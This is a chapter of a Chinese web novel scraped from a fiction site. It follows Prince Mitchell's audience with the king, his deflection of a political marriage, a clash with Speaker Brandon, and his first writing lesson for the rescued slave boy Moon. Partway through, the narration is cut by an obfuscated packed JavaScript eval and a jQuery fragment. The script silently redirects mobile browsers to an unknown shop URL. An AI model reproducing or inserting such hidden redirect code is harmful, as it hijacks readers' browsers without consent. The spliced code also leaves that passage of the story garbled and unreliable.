文趣网 > 都市小说 > 在金龙之上 > 5. 第 5 章
    王宫内的气氛十分压抑。

    皮靴踩在大理石走廊上,发出“哒哒”的规律声响。此时早已过了上朝的时间,偌大的王宫空空荡荡,只有米切尔大步向前。

    白色的王子朝服熨烫平整,一丝不苟,左肩到前襟用金线绣着一条衔剑巨龙,这是霍恩王储的象征。除此之外,朝服背后罩着一件深蓝色的披风,长度直到脚踝,背后印着霍恩王室的文章。米切尔走得很快,披风随之扬起,留下一道蓝色的弧线。

    很快,米切尔在厚重华丽的镶金铁门前站定,刚准叩门,门却自己打开了。

    “哟,这不是王子殿下吗,终于舍得回来了?”一个高昂的声音从门后传来,侍卫推开门,门内站着一个中年人。他穿着深红色的正装,留着八字胡,头发被蜡油抹得锃光瓦亮。男人站得笔直,挺胸抬头,但还是比米切尔矮半个头。那双不怀好意的小眼睛正盯着米切尔,让人很不舒服。

    “布兰登议长,许久不见。”出于礼貌,米切尔微笑道,“远途初归,我需面见国王陛下,还请大人让个道。”

    米切尔说得客气,动作却一点不客气,微微欠身,便从布兰登身侧穿了过去。他对这个小胡子男人没什么好印象,布兰登家掌握着霍恩最大的商会,捏着霍恩半条经济命脉,这么多年,不知搜刮了多少民脂民膏。米切尔对他的不满已久,但碍于布兰登家族在朝中的影响力,根本无法动手。

    不理会身后人的吹胡子瞪眼,米切尔目不斜视,径直朝着前方的王座走去,直到看清王座上端坐的老国王,他单膝跪地,行礼道:“父王,儿臣回来了。”

    国王明显年岁已高,两鬓斑白,宽松的袍子也难掩发福的身材,和正值青年英俊的米切尔比,简直不像亲生的。这一代到现在,只剩米切尔一个王子,国王对他说不上宠爱,但十分宽容:“平身,和为父说说,此行有什么收获?”

    “是。”米切尔站起身,来的路上,他早已规划好,什么该说什么不该说,“首先是中部区域,存在非法徭役的情况……”

    他说得不紧不慢,条理清晰,语句精简:“……底层商人的赋税太高,对商会高层的赋税又太低,后续,我会起草改良的方案。”

    汇报完成,米切尔微微颔首,示意自己说完了。老国王的满意毫不掩饰,严肃的脸上都出现些许笑意:“不错,米切尔。若是罗伊还在,也定会称赞你。”

    “……是。”米切尔低头应道,看似平常,手指却悄悄握紧了。罗伊,又是这个名字,死在十年前的那个大哥,父王心里还惦记着他。不论自己做什么,做得好还是坏,也总要被拿去与那个亡魂比较。

    老国王撑着王座扶手,指尖一下一下轻敲着,他说道:“刚刚,布兰登来找我了。”

    米切尔突然有种不祥的预感,紧接着便听国王说道:“布兰登家的长女,克莱尔·布兰登,过了秋收节就成年了。以往,我从未安排过你的婚事,若你也没有喜欢的人,不如择个良辰吉日……”

    “父王!”不等老国王说完,米切尔就打断了他。这是不敬的行为,但米切尔再也听不下去一个字。他重新单膝跪地,低头行礼:“其实,我还有一事未报。”

    “哦?”老国王倒是也不恼,“说来听听。”

    “儿臣此次北部巡游,找到了一名勇士。”米切尔斟酌着说,他不想把慕恩的情况全盘托出,“臣遭遇沃尔姆斯的刺客袭击,这位勇士以身相救,一身武艺,不输王宫禁卫。臣认为他是可塑之才,便将他带回王城,准备培养。”

    “前线战报,沃尔姆斯的铁骑久攻不下,只差一把尖刀。臣认为,这位勇士能做这把刀。”

    “此事当真?”老国王已经坐直身体,与沃尔姆斯的战争是他的郁结,一听此事,便把刚说的联姻之事抛到九霄云外了。

    “绝无谎言。”米切尔说,“只不过,那位勇士尚且年轻,而且毕竟出身北地,不乏蛮夷之举。”

    米切尔一边说,一边疯狂在心里给慕恩道歉,思绪飘到一会儿能给慕恩带什么好吃的当补偿。但面对老国王,他还是继续严肃说着:“有他的力量,臣有决心,在两年之内打退沃尔姆斯,让他们不敢再犯。”

    铺垫到这,米切尔说出最终目的:“所以联姻之事,恳求父王暂缓,战事吃紧,此时联姻,怕也委屈了布兰登小姐。”

    拖个两年,联姻这事说不定就没了……米切尔以前从没想过类似的事,就算想,他也不想和那个腌臜小胡子的女儿联姻。

    等着老国王回应,米切尔又不由自主地想到慕恩,自己回来以后就匆匆忙忙的,管家有待他好好在王子府里转转吗,这会儿已经过了午饭点了,他吃饭了吗……

    还没想完,国王说话了:“你心系国家大事,我很欣慰。既然如此,那便好好培养你所说的人才。”

    “是!”米切尔心中一喜,连忙应道。关于米切尔所说的人,老国王也没有多问,米切尔已经长大,权力中心慢慢移动,米切尔也需要培养自己的人。在这方面,老国王比谁都清楚。

    要事都交代完了,剩下的是父亲对儿子的一些关切,家长里短,没什么重要内容,不过十分钟,米切尔便找了个借口告退。他满心都是家里的小孩,离开的步伐都轻快了些。

    但一打开大门,又对上那张令人作呕的小胡子脸。

    普尔曼·布兰登,一手背在身后,另一手捋着自己弹簧般的小胡子,看着米切尔,像在看砧板上的一块肉:“听闻王子殿下,不太满意小女啊。”

    还“听闻”,这不就是在门口偷听吗。米切尔心中腹诽,面上倒是不显,张口就是胡扯:“议长说笑了,令千金很优秀。”

    “呵。”能坐到这个位置,布兰登也是千年的狐狸,怎可能听不出米切尔的搪塞。但他并不打算就此事纠结,而是换了个话题,“殿下此行见闻颇多啊,为何总在意那些贱民呢?”

    米切尔的神色瞬间冷了几分:“他们是霍恩的公民。”

    “什么公民平民,有区别吗?”布兰登在身前扇扇,像是听见这个词,就能闻到穷酸味,“王子殿下,您应该明白,谁才是撑起这个国家的人。”

    “我们这些贵族,单拿一家出来,一年交的税都比那些贱民加起来多。”布兰登故意凑近,耳语道,“殿下可不要舍本逐末。”

    “议长先生!”米切尔后退一大步,正色厉声:“我想我们没必要就这个问题探讨太多,布兰登家族对霍恩的贡献有目共睹,我身为王储,自然也不会舍弃任何一个贵族。”

    布兰登见好就收,行了一个点头礼,动作随意,根本没把米切尔当回事:“有殿下这句话,我就放心了。依我看,殿下以后还是少出远门,小心被贱民蒙骗。殿下出一次远门便开始惦记那些贱民,再出一次,怕不是要担心奴隶了,哈哈哈哈……”

    小胡子布兰登大笑着扬长而去,米切尔在原地站了很久,手心都被掐出指甲印。那人一口一个“贱民”,米切尔真想直接一拳砸在他的脸上,只可惜现在还不能动手。

    布兰登家族,以后有时间收拾他们。

    在王宫耽误的时间太久,回到王子府的时候,已经是黄昏了。马车刚刚停稳,米切尔没等来侍奉的仆从,反而看到那个金色的身影,在门口站得像棵松树,一见到马车,就哒哒哒跑了过来。

    “殿下!”慕恩打开车门,学着那些仆从的样子放脚凳,身上还穿着早上回来时的衣服。

    米切尔下车,问一旁的管家:“怎么没给他换干净衣服?”

    管家狂擦冷汗:“他说只穿您给的衣服。”

    “……”米切尔转头对慕恩说,“以后管家爷爷给你的衣服也可以穿。”

    他带着慕恩回到屋内,吩咐道:“先去洗个澡,然后换上干净衣服,来书房找我。有什么不懂的,就问管家爷爷。”

    有了米切尔的命令,慕恩明显乖巧不少,管家松了口气,米切尔也看得出来,他不在的这个下午,老爷子估计遭了点罪。安排好慕恩,米切尔也难得能放松一点,也去洗了个澡,吃了些简餐

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729901|208927||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,回到书房准备处理那些文件的时候,天色已经完全黑了。

    没过多久,慕恩的小脑袋就从门口探了进来,米切尔招招手,慕恩便走来了他身边。他上下打量焕然一新的小孩,慕恩换上了白色的寝衣,这种寝衣领口大,但慕恩自己把衣服往后拽了一些,依旧把那个奴隶刻印遮得严严实实,显然记着米切尔的嘱咐。

    米切尔心中欢喜,把桌上切好的苹果递给慕恩,随后让人送了条毛巾来,开始给慕恩擦头发。

    “好吃吗?”米切尔问,北部荒芜,几乎没有水果,这应该是慕恩第一次吃。

    “嗯嗯!”慕恩用力地点头,吃了两块,又双手捧着碗凑到米切尔面前,“好吃,殿下也吃!”

    “没事,你吃。我随时都能吃到。”米切尔柔和地说着,慕恩湿漉漉的金发在他的擦拭下逐渐干燥,米切尔的眸光渐渐沉下。光看慕恩的身形,有十四五岁的年纪,但考虑到他长期营养不良,实际年龄估计要更大些……但是慕恩展现出来的心理状态,却像是只有七八岁的样子。

    米切尔无法想象少年以往的人生是怎样的经历,但一想到慕恩此时的天真烂漫,和他直接残暴的战斗方式,米切尔不由得产生一种极致的割裂感。

    “好了。”头发擦得差不多,米切尔拍拍慕恩的肩,示意他去沙发上坐下。等慕恩坐好后,他便开始处理那些堆积文件,而慕恩一直看着他,百无聊赖地晃脚。

    良久之后,慕恩小心翼翼地开口:“殿下……我、我能做什么吗?”

    米切尔一怔,抬头看向不知所措的少年,他大概能理解慕恩的不适应,但此刻,他想听听慕恩的想法。于是他问道:“为什么这样问?”

    “因、因为……”慕恩表达能力不强,磕磕巴巴说道,“大家,大家都有事情做……只有我一直在吃……然后坐着不动……”

    米切尔放下手中的文件,走过去,蹲在沙发旁边,和慕恩平视:“这样不好吗?你不用像以前那样在斗兽场里卖命了,有美味的食物,温暖的被窝,这样的生活你不喜欢吗?”

    慕恩愣愣地看着米切尔的眼睛,又低下头,小声道:“喜欢……但我觉得,这样不对……”

    “为什么不对?”

    “我……我不知道……”

    懵懂的少年不知道什么是“不劳而获”,只是有种本能告诉他,一味地索求是不对的。

    米切尔没再逼他,他站起身,走去书桌上,拿了一份文件——那份写着“对沃尔姆斯战况说明”的文件。

    “你看看这个……”米切尔刚把文件放到慕恩面前,突然顿住,他想到一件很重要的事情,“你……你识字吗?”

    果不其然,慕恩摇了摇头。

    把这茬忘了……米切尔扶额,对自己有些无语,慕恩之前连床是什么都不知道,怎么可能认字?他先把文件收起,拿了几张纸和一支笔,坐在慕恩旁边,说道:“我现在给你颁布任务,你接下来要做的就是,学认字和写字。”

    他一边说,一边在纸上写下“慕恩”的字符:“这几个字,是你的名字。”

    “我的名字?”慕恩看着那几个陌生的纹样。

    “对,你的名字——‘慕-恩’。”米切尔用笔又写了一遍,“在古霍恩语里,这是月光的意思,就像你的发色一样,月光有时候也是金色的。”

    他把笔塞入慕恩手中:“来,照着写一遍。”

    慕恩握着笔,在纸上描摹,一笔一画写得歪七扭八,但又十分认真。米切尔看着他努力写字的模样,突生感慨。慕恩像是一个奇迹,他出生成长在血腥残酷的斗兽场,却会为了那些杂役奴隶而反抗,会因为不劳而获而坐立不安。虽然他的手上沾满鲜血,但慕恩觉得,他的底色的善良的,就如同他的名字一般,是金色的月光,皎洁无瑕。

    窗外的圆月缓缓挪动,月光透过窗柩,在书桌上投下斑驳的光斑,照亮米切尔刚刚放下的文书,框住那几个黑色的文字——

    “一把能撕开缺口的尖刀”。